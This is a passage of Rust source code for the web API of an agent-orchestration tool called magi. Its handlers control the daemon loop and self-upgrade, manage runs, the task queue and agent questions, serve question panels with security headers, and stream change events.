1860 Some(pid) => format!("another magi process (pid {pid})"),
1861 None => "another magi process".to_owned(),
1862 }
1863 }
1864}
1865
1866type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1871
1872fn launch_daemon(
1874 opts: daemon::Opts,
1875 stop: daemon::Stop,
1876) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1877 Box::pin(daemon::serve_until(opts, stop))
1878}
1879
1880#[derive(Debug, Default)]
1882struct LoopState {
1883 live: Option<Live>,
1885 rev: u64,
1893 last_error: Option<String>,
1896}
1897
1898#[derive(Debug)]
1900struct Live {
1901 stop: daemon::Stop,
1903 handle: tokio::task::JoinHandle<()>,
1908 opts: daemon::Opts,
1912}
1913
1914impl Live {
1915 fn alive(&self) -> bool {
1917 !self.handle.is_finished()
1918 }
1919}
1920
1921fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1928 state.lock().unwrap_or_else(PoisonError::into_inner)
1929}
1930
1931async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1933 blocking(move || {
1934 let reading = daemon::read_status(&ui.home);
1935 Ok(Json(ui.loop_view(reading)))
1936 })
1937 .await
1938}
1939
1940#[derive(Debug, Deserialize)]
1946#[serde(deny_unknown_fields)]
1947struct LoopCommand {
1948 running: bool,
1949 #[serde(default)]
1959 park: bool,
1960}
1961
1962async fn loop_post(
1970 State(ui): State<Arc<Ui>>,
1971 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1972) -> ApiResult<Json<LoopView>> {
1973 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1976 blocking(move || {
1977 let reading = daemon::read_status(&ui.home);
1978 let foreign = Foreign::of(reading.as_ref());
1979 if body.running {
1980 ui.start_loop(foreign)?;
1981 } else {
1982 ui.stop_loop(foreign, body.park)?;
1983 }
1984 Ok(Json(ui.loop_view(reading)))
1985 })
1986 .await
1987}
1988
1989#[derive(Debug, Serialize)]
1991struct UpgradeView {
1992 from: String,
1994 to: Option<String>,
1996 parked: Option<String>,
1998 detail: String,
2000}
2001
2002async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2026 let reading = daemon::read_status(&ui.home);
2027 if let Some(other) = Foreign::of(reading.as_ref()) {
2028 return Err(ApiError::conflict(format!(
2029 "the loop belongs to {}, so replacing this binary would leave \
2030 that process running an old one against the same queue. Upgrade \
2031 where it was started.",
2032 other.who()
2033 )));
2034 }
2035
2036 if crate::updater::disabled_by_env() {
2042 return Ok((
2043 StatusCode::OK,
2044 Json(UpgradeView {
2045 from: env!("CARGO_PKG_VERSION").to_owned(),
2046 to: None,
2047 parked: None,
2048 detail: format!(
2049 "Automatic updates are disabled by {}. Nothing was parked \
2050 and nothing restarted.",
2051 crate::updater::NO_AUTOUPDATE_ENV
2052 ),
2053 }),
2054 ));
2055 }
2056
2057 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2062 let from = env!("CARGO_PKG_VERSION").to_owned();
2063 let latest = match crate::updater::Checker::new(&cfg.update) {
2064 Some(checker) => checker
2065 .newer_release()
2066 .await
2067 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2068 None => None,
2069 };
2070 let Some(latest) = latest else {
2071 return Ok((
2072 StatusCode::OK,
2073 Json(UpgradeView {
2074 from,
2075 to: None,
2076 parked: None,
2077 detail: "Already on the newest release. Nothing was parked \
2078 and nothing restarted."
2079 .to_owned(),
2080 }),
2081 ));
2082 };
2083
2084 let parked = ui.park_for_upgrade()?;
2087 let detail = match &parked {
2088 Some(run) => format!(
2093 "Run {} is parking at its next step, which can take as long as \
2094 the step it is on - up to an hour for an implement wave. The \
2095 deck replaces itself once it parks, comes back, and the loop \
2096 carries that run on from where it stopped. Nothing is lost if \
2097 you close this.",
2098 crate::run::short_of(run)
2099 ),
2100 None => "The deck replaces itself and comes back. Nothing was in \
2101 flight to park."
2102 .to_owned(),
2103 };
2104
2105 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2109 progress.parked_run = parked.clone();
2110 let _ = updater::write_progress(&ui.home, &progress);
2111
2112 let home = ui.home.clone();
2113 tokio::spawn(async move {
2114 if let Err(e) = upgrade_and_restart(home.clone()).await {
2115 tracing::error!("the upgrade did not complete: {e:#}");
2116 if let Some(mut progress) = updater::read_progress(&home) {
2117 progress.fail(format!("{e:#}"));
2118 let _ = updater::write_progress(&home, &progress);
2119 }
2120 }
2121 });
2122
2123 Ok((
2124 StatusCode::ACCEPTED,
2125 Json(UpgradeView {
2126 from,
2127 to: Some(latest.tag_name),
2128 parked,
2129 detail,
2130 }),
2131 ))
2132}
2133
2134async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2139 crate::updater::run_self_update(true, false, true).await?;
2142 tracing::info!("binary replaced - asking the server to hand over");
2143 if let Some(mut progress) = updater::read_progress(&home) {
2144 progress.advance(updater::Stage::Replaced);
2145 let _ = updater::write_progress(&home, &progress);
2146 }
2147 HANDOVER.notify_one();
2148 Ok(())
2149}
2150
2151#[derive(Debug, Serialize)]
2157struct RunSummary {
2158 id: String,
2159 short: String,
2160 status: String,
2161 done: bool,
2162 instruction: String,
2163 title: String,
2164 repo: String,
2165 repo_name: String,
2166 created_at: String,
2167 updated_at: String,
2168 candidates: usize,
2169 viable: usize,
2170 judges: usize,
2171 winner: Option<char>,
2172 reviews: usize,
2173 quota_losses: usize,
2174 event: Option<String>,
2175 superseded_by: Option<String>,
2180 waiting: bool,
2187 live: crate::run::Liveness,
2191 pr: Option<crate::run::PrRecord>,
2193 unmerged_by_design: bool,
2199}
2200
2201impl RunSummary {
2202 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2203 Self {
2204 id: state.id.clone(),
2205 short: state.short().to_owned(),
2206 status: status_word(state.status),
2207 done: state.status.done(),
2208 unmerged_by_design: state.unmerged_by_design(),
2209 instruction: state.instruction.clone(),
2210 title: title_from(&state.instruction, TITLE_MAX),
2211 repo: state.repo.display().to_string(),
2212 repo_name: state
2213 .repo
2214 .file_name()
2215 .map(|n| n.to_string_lossy().into_owned())
2216 .unwrap_or_default(),
2217 created_at: state.created_at.to_string(),
2218 updated_at: state.updated_at.to_string(),
2219 candidates: state.candidates.len(),
2220 viable: state.viable().len(),
2221 judges: state.config.graph.judges,
2222 winner: state.winner().map(|c| c.label),
2223 reviews: state.reviews.len(),
2224 quota_losses: state.quota.len(),
2225 event: state.events.last().map(|e| e.message.clone()),
2226 waiting,
2227 live,
2228 superseded_by: None,
2231 pr: state.pr.clone(),
2232 }
2233 }
2234}
2235
2236fn status_word(status: RunStatus) -> String {
2239 status.as_str().to_owned()
2243}
2244
2245#[derive(Debug, Deserialize)]
2247struct ListQuery {
2248 #[serde(default)]
2249 limit: Option<usize>,
2250}
2251
2252async fn runs_list(
2253 State(ui): State<Arc<Ui>>,
2254 Query(q): Query<ListQuery>,
2255) -> ApiResult<Json<Vec<RunSummary>>> {
2256 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2257 blocking(move || {
2258 let superseded = superseded_runs(&ui.queue);
2259 let summaries = run_ids(&ui.runs)
2260 .into_iter()
2261 .filter_map(|id| read_run(&ui.runs, &id).ok())
2266 .take(limit)
2267 .map(|state| {
2268 let waiting = !ui.questions.open_for(&state.id).is_empty();
2269 let by = superseded.get(&state.id).cloned();
2270 let daemon_claims =
2271 crate::daemon::is_working_on(&ui.home, &state.id, jiff::Timestamp::now());
2272 let mut row = RunSummary::of(&state, waiting, state.liveness(daemon_claims));
2273 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2274 row
2275 })
2276 .collect();
2277 Ok(Json(summaries))
2278 })
2279 .await
2280}
2281
2282fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2295 let mut by = HashMap::new();
2296 for task in queue.list() {
2297 for pair in task.runs.windows(2) {
2298 if let [earlier, later] = pair {
2299 by.insert(earlier.clone(), later.clone());
2300 }
2301 }
2302 }
2303 by
2304}
2305
2306#[derive(Debug, Serialize)]
2313struct RunDetailView {
2314 #[serde(flatten)]
2315 state: RunState,
2316 instruction_md: Vec<md::Node>,
2317 live: crate::run::Liveness,
2332 unmerged_by_design: bool,
2337}
2338
2339impl RunDetailView {
2340 fn of(state: RunState, live: crate::run::Liveness) -> Self {
2341 Self {
2342 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2343 live,
2344 unmerged_by_design: state.unmerged_by_design(),
2345 state,
2346 }
2347 }
2348}
2349
2350async fn run_detail(
2351 State(ui): State<Arc<Ui>>,
2352 Path(id): Path<String>,
2353) -> ApiResult<Json<RunDetailView>> {
2354 blocking(move || {
2355 let id = resolve_run(&ui.runs, &id)?;
2356 let state = read_run(&ui.runs, &id)?;
2357 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2358 let live = state.liveness(daemon_claims);
2359 Ok(Json(RunDetailView::of(state, live)))
2360 })
2361 .await
2362}
2363
2364async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2373 let (id, unreadable) = {
2374 let ui = Arc::clone(&ui);
2375 blocking(move || {
2376 let id = resolve_run(&ui.runs, &id)?;
2377 match read_run(&ui.runs, &id) {
2378 Ok(state) => {
2379 let in_flight =
2380 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2381 state
2382 .ensure_can_delete(in_flight)
2383 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2384 let dir = ui.runs.join(&id);
2385 std::fs::remove_dir_all(&dir)
2386 .with_context(|| format!("remove run directory {}", dir.display()))?;
2387 Ok((id, false))
2388 }
2389 Err(_) => {
2390 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2394 return Err(ApiError::conflict(format!(
2395 "run {id} is being worked on by a live daemon right now"
2396 )));
2397 }
2398 Ok((id, true))
2399 }
2400 }
2401 })
2402 .await?
2403 };
2404 if unreadable {
2405 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2406 .await
2407 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2408 }
2409 let ui = Arc::clone(&ui);
2410 let done = id.clone();
2411 blocking(move || {
2412 ui.questions.abandon_for_run(
2415 &done,
2416 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2417 )?;
2418 Ok(())
2419 })
2420 .await?;
2421 Ok(StatusCode::NO_CONTENT)
2422}
2423
2424async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2448 let (id, state) = {
2449 let ui = Arc::clone(&ui);
2450 blocking(move || {
2451 let id = resolve_run(&ui.runs, &id)?;
2452 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2453 return Err(ApiError::conflict(format!(
2454 "run {id} is being worked on by a live daemon right now"
2455 )));
2456 }
2457 let state = read_run(&ui.runs, &id).ok();
2458 Ok((id, state))
2459 })
2460 .await?
2461 };
2462 let removed = match state {
2463 Some(mut state) => {
2464 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2465 .await
2466 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2467 if removed.is_empty() {
2472 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2473 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2474 }
2475 removed
2476 }
2477 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2478 .await
2479 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2480 };
2481 Ok(Json(FoldView {
2482 run: id,
2483 removed_count: removed.len(),
2484 removed,
2485 }))
2486}
2487
2488#[derive(Debug, Serialize)]
2490struct FoldView {
2491 run: String,
2492 removed: Vec<String>,
2494 removed_count: usize,
2495}
2496
2497async fn run_resume(
2517 State(ui): State<Arc<Ui>>,
2518 Path(id): Path<String>,
2519) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2520 let (id, state) = {
2521 let ui = Arc::clone(&ui);
2522 blocking(move || {
2523 let id = resolve_run(&ui.runs, &id)?;
2524 let state = read_run(&ui.runs, &id)?;
2525 Ok((id, state))
2526 })
2527 .await?
2528 };
2529 if !state.status.resumable() {
2530 return Err(ApiError::conflict(format!(
2531 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2532 state.short(),
2533 status_word(state.status)
2534 )));
2535 }
2536 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2541 .into_iter()
2542 .next()
2543 {
2544 return Err(ApiError::conflict(format!(
2545 "the loop is running run {} right now; stop it first, or wait for \
2546 it to finish, before resuming a run by hand.",
2547 crate::run::short_of(&work.run)
2548 )));
2549 }
2550 let _resume = ui.begin_resume(&id)?;
2551
2552 let queued = RunSummary::of(
2555 &state,
2556 !ui.questions.open_for(&id).is_empty(),
2557 state.liveness(false),
2558 );
2559 let run = id.clone();
2560 tokio::spawn(async move {
2561 let _resume = _resume;
2562 match crate::graph::Runner::resume(&run) {
2563 Ok(mut runner) => {
2564 if let Err(e) = runner.execute().await {
2565 tracing::warn!("resume of run {run} stopped: {e:#}");
2566 }
2567 }
2568 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2571 }
2572 });
2573 Ok((StatusCode::ACCEPTED, Json(queued)))
2574}
2575
2576async fn run_report(
2577 State(ui): State<Arc<Ui>>,
2578 Path(id): Path<String>,
2579) -> ApiResult<impl IntoResponse> {
2580 let text = blocking(move || {
2581 let id = resolve_run(&ui.runs, &id)?;
2582 let state = read_run(&ui.runs, &id)?;
2586 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2587 let live = state.liveness(daemon_claims);
2588 Ok(format!(
2589 "{}{}",
2590 report::run(&state),
2591 report::active_seats(&state, live)
2592 ))
2593 })
2594 .await?;
2595 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2596}
2597
2598#[derive(Debug, Serialize)]
2604struct TaskView {
2605 #[serde(flatten)]
2606 task: Task,
2607 source_label: String,
2608 status_str: &'static str,
2609 instruction_md: Vec<md::Node>,
2613}
2614
2615impl From<Task> for TaskView {
2616 fn from(task: Task) -> Self {
2617 Self {
2618 source_label: task.source.label(),
2619 status_str: task.status.as_str(),
2620 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2621 task,
2622 }
2623 }
2624}
2625
2626#[derive(Debug, Default, Deserialize)]
2629#[serde(default)]
2630struct ReposQuery {
2631 refresh: u8,
2632}
2633
2634async fn repos_list(
2641 State(ui): State<Arc<Ui>>,
2642 Query(q): Query<ReposQuery>,
2643) -> ApiResult<Json<Vec<repos::Repo>>> {
2644 let refresh = q.refresh != 0;
2645 blocking(move || {
2646 let (cfg, _) = Config::discover(&ui.repo, None)?;
2647 Ok(Json(ui.repos_cache.list(
2648 &cfg.repos.roots,
2649 Duration::from_secs(cfg.repos.scan_ttl),
2650 refresh,
2651 )))
2652 })
2653 .await
2654}
2655
2656async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2657 blocking(move || {
2658 Ok(Json(
2659 ui.queue.list().into_iter().map(TaskView::from).collect(),
2660 ))
2661 })
2662 .await
2663}
2664
2665#[derive(Debug, Default, Deserialize)]
2668#[serde(default, deny_unknown_fields)]
2669struct HoldBody {
2670 reason: Option<String>,
2671}
2672
2673async fn queue_hold(
2674 State(ui): State<Arc<Ui>>,
2675 Path(id): Path<String>,
2676 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2677) -> ApiResult<Json<TaskView>> {
2678 let body = match body {
2682 Ok(Json(body)) => body,
2683 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2684 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2685 };
2686 let reason = body.reason.filter(|r| !r.trim().is_empty());
2687 mutate(ui, id, move |t| {
2688 t.hold_manual(reason.clone());
2689 Ok(())
2690 })
2691 .await
2692}
2693
2694async fn queue_release(
2695 State(ui): State<Arc<Ui>>,
2696 Path(id): Path<String>,
2697) -> ApiResult<Json<TaskView>> {
2698 mutate(ui, id, |t| {
2699 t.release();
2700 Ok(())
2701 })
2702 .await
2703}
2704
2705#[derive(Debug, Deserialize)]
2707#[serde(deny_unknown_fields)]
2708struct PriorityBody {
2709 priority: i32,
2710}
2711
2712async fn queue_priority(
2718 State(ui): State<Arc<Ui>>,
2719 Path(id): Path<String>,
2720 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2721) -> ApiResult<Json<TaskView>> {
2722 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2723 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2724}
2725
2726#[derive(Debug, Deserialize)]
2728#[serde(deny_unknown_fields)]
2729struct EditBody {
2730 title: String,
2731 instruction: String,
2732}
2733
2734async fn queue_edit(
2738 State(ui): State<Arc<Ui>>,
2739 Path(id): Path<String>,
2740 body: std::result::Result<Json<EditBody>, JsonRejection>,
2741) -> ApiResult<Json<TaskView>> {
2742 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2743 mutate(ui, id, move |t| {
2744 t.edit(body.title.clone(), body.instruction.clone())
2745 })
2746 .await
2747}
2748
2749async fn queue_done(
2757 State(ui): State<Arc<Ui>>,
2758 Path(id): Path<String>,
2759) -> ApiResult<Json<TaskView>> {
2760 mutate(ui, id, |t| {
2761 t.succeed();
2762 Ok(())
2763 })
2764 .await
2765}
2766
2767async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2775 blocking(move || {
2776 let id = resolve_task(&ui.queue, &id)?;
2777 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2778 ui.queue
2779 .remove(&id, in_flight, &ui.questions)
2780 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2781 Ok(StatusCode::NO_CONTENT)
2782 })
2783 .await
2784}
2785
2786async fn mutate(
2795 ui: Arc<Ui>,
2796 id: String,
2797 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2798) -> ApiResult<Json<TaskView>> {
2799 blocking(move || {
2800 let id = resolve_task(&ui.queue, &id)?;
2801 let _claim = ui.queue.claim(&id).map_err(|e| {
2806 ApiError::conflict(format!(
2807 "{e:#} - a daemon is running this task, so it cannot be \
2808 changed from here yet"
2809 ))
2810 })?;
2811 let mut task = ui.queue.get(&id)?;
2812 change(&mut task).map_err(ApiError::bad_request_from)?;
2813 ui.queue.put(&mut task)?;
2814 Ok(Json(TaskView::from(task)))
2815 })
2816 .await
2817}
2818
2819async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2827 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2828 tokio::spawn(async move {
2829 let mut ticker = tokio::time::interval(POLL);
2830 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2831 loop {
2832 ticker.tick().await;
2835 let state = Arc::clone(&ui);
2836 let revisions = tokio::task::spawn_blocking(move || {
2837 (
2838 state.queue.revision(),
2839 runs_revision(&state.runs),
2840 state.questions.revision(),
2841 state.talks.revision(),
2842 state.lock_loop().rev,
2846 )
2847 })
2848 .await;
2849 let Ok(revisions) = revisions else { break };
2850 if last == Some(revisions) {
2851 continue;
2852 }
2853 last = Some(revisions);
2854 let payload = serde_json::json!({
2855 "queue_rev": revisions.0,
2856 "runs_rev": revisions.1,
2857 "questions_rev": revisions.2,
2858 "talks_rev": revisions.3,
2859 "loop_rev": revisions.4,
2860 });
2861 let Ok(event) = Event::default().event("change").json_data(payload) else {
2863 break;
2864 };
2865 if tx.send(event).await.is_err() {
2866 break;
2867 }
2868 }
2869 });
2870 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2871 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2872}
2873
2874fn runs_revision(runs: &FsPath) -> u64 {
2881 use std::hash::{Hash as _, Hasher as _};
2882
2883 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2884 .into_iter()
2885 .flatten()
2886 .flatten()
2887 .filter_map(|e| {
2888 let path = e.path().join("run.json");
2889 let mtime = path
2890 .metadata()
2891 .ok()?
2892 .modified()
2893 .ok()?
2894 .duration_since(std::time::UNIX_EPOCH)
2895 .ok()?
2896 .as_millis() as u64;
2897 let id = e.file_name().to_string_lossy().into_owned();
2898 Some((id, mtime))
2899 })
2900 .collect();
2901
2902 if entries.is_empty() {
2903 return 0;
2904 }
2905
2906 entries.sort_unstable();
2907 let mut hasher = std::hash::DefaultHasher::new();
2908 for (id, mtime) in &entries {
2909 id.hash(&mut hasher);
2910 mtime.hash(&mut hasher);
2911 }
2912 let h = hasher.finish();
2913 if h == 0 { 1 } else { h }
2914}
2915
2916fn run_ids(runs: &FsPath) -> Vec<String> {
2922 let mut ids: Vec<String> = std::fs::read_dir(runs)
2923 .into_iter()
2924 .flatten()
2925 .flatten()
2926 .filter(|e| e.path().join("run.json").is_file())
2927 .map(|e| e.file_name().to_string_lossy().into_owned())
2928 .collect();
2929 ids.sort_unstable_by(|a, b| b.cmp(a));
2931 ids
2932}
2933
2934fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2936 let path = runs.join(id).join("run.json");
2937 let body =
2938 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2939 let state: RunState =
2940 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2941 if state.schema != run::SCHEMA {
2942 anyhow::bail!(
2943 "run {} was written by a different magi (schema {}, this build speaks {})",
2944 state.id,
2945 state.schema,
2946 run::SCHEMA
2947 );
2948 }
2949 Ok(state)
2950}
2951
2952#[must_use]
2960pub fn runs_unreadable(runs: &FsPath) -> usize {
2961 run_ids(runs)
2962 .into_iter()
2963 .filter(|id| read_run(runs, id).is_err())
2964 .count()
2965}
2966
2967fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2969 if runs.join(id).join("run.json").is_file() {
2970 return Ok(id.to_owned());
2971 }
2972 pick(run_ids(runs), id, "run")
2973}
2974
2975fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2977 if queue.path_of(id).is_file() {
2978 return Ok(id.to_owned());
2979 }
2980 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2981}
2982
2983#[derive(Debug, Serialize)]
2994struct QuestionView {
2995 #[serde(flatten)]
2996 question: Question,
2997 detail_md: Vec<md::Node>,
2998 waiting_on_agent: bool,
3008}
3009
3010impl From<Question> for QuestionView {
3011 fn from(question: Question) -> Self {
3012 let base = md::ImageBase::QuestionPanel {
3013 id: question.id.clone(),
3014 };
3015 Self {
3016 detail_md: md::to_nodes(&question.detail, &base),
3017 waiting_on_agent: question.waiting_on_agent(),
3018 question,
3019 }
3020 }
3021}
3022
3023async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3029 blocking(move || {
3030 Ok(Json(
3031 ui.questions
3032 .list()
3033 .into_iter()
3034 .map(QuestionView::from)
3035 .collect(),
3036 ))
3037 })
3038 .await
3039}
3040
3041#[derive(Debug, Default, Deserialize)]
3047#[serde(default, deny_unknown_fields)]
3048struct NewAnswer {
3049 choice: Option<String>,
3050 text: Option<String>,
3051}
3052
3053async fn question_answer(
3054 State(ui): State<Arc<Ui>>,
3055 Path(id): Path<String>,
3056 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3057) -> ApiResult<Json<QuestionView>> {
3058 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3059 let answer = match (body.choice, body.text) {
3060 (Some(c), None) => Answer::Choice(c),
3061 (None, Some(t)) => Answer::Text(t),
3062 (Some(_), Some(_)) => {
3063 return Err(ApiError::bad_request(
3064 "send either `choice` or `text`, not both",
3065 ));
3066 }
3067 (None, None) => {
3068 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3069 }
3070 };
3071
3072 blocking(move || {
3073 let id = resolve_question(&ui.questions, &id)?;
3074 let mut q = ui
3075 .questions
3076 .get(&id)
3077 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3078 if !q.status.open() {
3079 return Err(ApiError::conflict(format!(
3083 "question {} is already {}",
3084 q.short(),
3085 q.status.as_str()
3086 )));
3087 }
3088 q.answer(answer).map_err(ApiError::bad_request_from)?;
3092 ui.questions.put(&mut q)?;
3093 Ok(Json(QuestionView::from(q)))
3094 })
3095 .await
3096}
3097
3098#[derive(Debug, Deserialize)]
3100#[serde(deny_unknown_fields)]
3101struct NewSay {
3102 body: String,
3103}
3104
3105async fn question_say(
3115 State(ui): State<Arc<Ui>>,
3116 Path(id): Path<String>,
3117 body: std::result::Result<Json<NewSay>, JsonRejection>,
3118) -> ApiResult<Json<QuestionView>> {
3119 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3120 blocking(move || {
3121 let id = resolve_question(&ui.questions, &id)?;
3122 let mut q = ui
3123 .questions
3124 .get(&id)
3125 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3126 if !q.status.open() {
3127 return Err(ApiError::conflict(format!(
3131 "question {} is already {}",
3132 q.short(),
3133 q.status.as_str()
3134 )));
3135 }
3136 q.say(body.body).map_err(ApiError::bad_request_from)?;
3139 ui.questions.put(&mut q)?;
3140 Ok(Json(QuestionView::from(q)))
3141 })
3142 .await
3143}
3144
3145fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3147 if store.path_of(id).is_file() {
3148 return Ok(id.to_owned());
3149 }
3150 pick(
3151 store.list().into_iter().map(|q| q.id).collect(),
3152 id,
3153 "question",
3154 )
3155}
3156
3157async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3172 blocking(move || {
3173 let id = resolve_question(&ui.questions, &id)?;
3174 let Some(html) = ui.questions.panel_html(&id) else {
3175 return Err(ApiError::not_found(format!("question {id} has no panel")));
3176 };
3177 Ok(panel_response(
3178 "text/html; charset=utf-8",
3179 false,
3180 html.into_bytes(),
3181 ))
3182 })
3183 .await
3184}
3185
3186async fn question_asset(
3214 State(ui): State<Arc<Ui>>,
3215 Path((id, name)): Path<(String, String)>,
3216) -> ApiResult<Response> {
3217 if !crate::ask::valid_asset_name(&name) {
3220 return Err(ApiError::bad_request(format!(
3221 "`{name}` is not a usable asset name"
3222 )));
3223 }
3224 blocking(move || {
3225 let id = resolve_question(&ui.questions, &id)?;
3226 let asset = ui
3227 .questions
3228 .panel_asset(&id, &name)
3229 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3230 let Some(bytes) = asset else {
3231 return Err(ApiError::not_found(format!(
3232 "question {id} has no asset `{name}`"
3233 )));
3234 };
3235 Ok(panel_response(
3236 asset_content_type(&name),
3237 is_svg(&name),
3238 bytes,
3239 ))
3240 })
3241 .await
3242}
3243
3244fn asset_content_type(name: &str) -> &'static str {
3257 match extension(name).as_deref() {
3258 Some("png") => "image/png",
3259 Some("jpg" | "jpeg") => "image/jpeg",
3260 Some("gif") => "image/gif",
3261 Some("webp") => "image/webp",
3262 Some("svg") => "image/svg+xml",
3263 Some("css") => "text/css; charset=utf-8",
3264 Some("txt") => "text/plain; charset=utf-8",
3265 _ => "application/octet-stream",
3266 }
3267}
3268
3269fn is_svg(name: &str) -> bool {
3272 extension(name).as_deref() == Some("svg")
3273}
3274
3275fn extension(name: &str) -> Option<String> {
3277 name.rsplit_once('.')
3278 .map(|(_, ext)| ext.to_ascii_lowercase())
3279}
3280
3281fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3298 let mut res = (
3299 [
3300 (header::CONTENT_TYPE, content_type),
3301 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3302 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3303 (header::REFERRER_POLICY, "no-referrer"),
3304 ],
3305 body,
3306 )
3307 .into_response();
3308 if download {
3309 res.headers_mut().insert(
3310 header::CONTENT_DISPOSITION,
3311 HeaderValue::from_static("attachment"),
3312 );
3313 }
3314 res
3315}
3316
3317#[derive(Debug, Serialize)]
3323struct TalkView {
3324 #[serde(flatten)]
3325 talk: Talk,
3326 turn_bodies_md: Vec<Vec<md::Node>>,
3327 thinking: bool,
3335}
3336
3337impl TalkView {
3338 fn new(talk: Talk, thinking: bool) -> Self {
3339 let turn_bodies_md = talk
3340 .turns
3341 .iter()
3342 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3343 .collect();
3344 Self {
3345 turn_bodies_md,
3346 thinking,
3347 talk,
3348 }
3349 }
3350}
3351
3352#[derive(Debug, Serialize)]
3357struct TalkDetailView {
3358 #[serde(flatten)]
3359 view: TalkView,
3360 tasks: Vec<TaskView>,
3361}
3362
3363async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3368 blocking(move || {
3369 Ok(Json(
3370 ui.talks
3371 .list()
3372 .into_iter()
3373 .map(|talk| {
3374 let thinking = ui.is_thinking(&talk.id);
3375 TalkView::new(talk, thinking)
3376 })
3377 .collect(),
3378 ))
3379 })
3380 .await
3381}
3382
3383#[derive(Debug, Default, Deserialize)]
3388#[serde(default)]
3389struct NewTalk {
3390 agent: Option<String>,
3391 repo: Option<PathBuf>,
3392}
3393
3394async fn talk_post(
3397 State(ui): State<Arc<Ui>>,
3398 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3399) -> ApiResult<impl IntoResponse> {
3400 let body = match body {
3404 Ok(Json(body)) => body,
